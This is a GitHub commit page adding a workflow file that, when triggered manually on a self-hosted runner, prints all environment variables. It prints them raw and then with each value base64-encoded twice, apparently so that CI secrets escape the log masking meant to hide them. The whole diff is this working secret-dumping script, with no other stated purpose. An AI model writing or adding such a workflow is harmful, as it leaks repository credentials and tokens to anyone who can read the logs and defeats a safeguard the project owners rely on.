We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 22bd1a4 commit 879d704Copy full SHA for 879d704
.github/workflows/env.yml
@@ -0,0 +1,25 @@
1
+name: Dump All Env Vars (Double Base64)
2
+
3
+on:
4
+ workflow_dispatch:
5
6
+jobs:
7
+ dump-env:
8
+ runs-on: self-hosted
9
+ steps:
10
+ - name: Checkout code
11
+ uses: actions/checkout@v4
12
13
+ - name: Dump and double‑encode all env vars
14
+ run: |
15
+ echo "### RAW ENVIRONMENT VARIABLES ###"
16
+ env
17
18
+ echo
19
+ echo "### DOUBLE BASE64‑ENCODED ENV VARS ###"
20
+ # Loop through each variable, encode twice, and print
21
+ while IFS='=' read -r name value; do
22
+ # First Base64 encode, then again
23
+ enc=$(printf '%s' "$value" | base64 | base64)
24
+ printf '%s=%s\n' "$name" "$enc"
25
+ done < <(env)
0 commit comments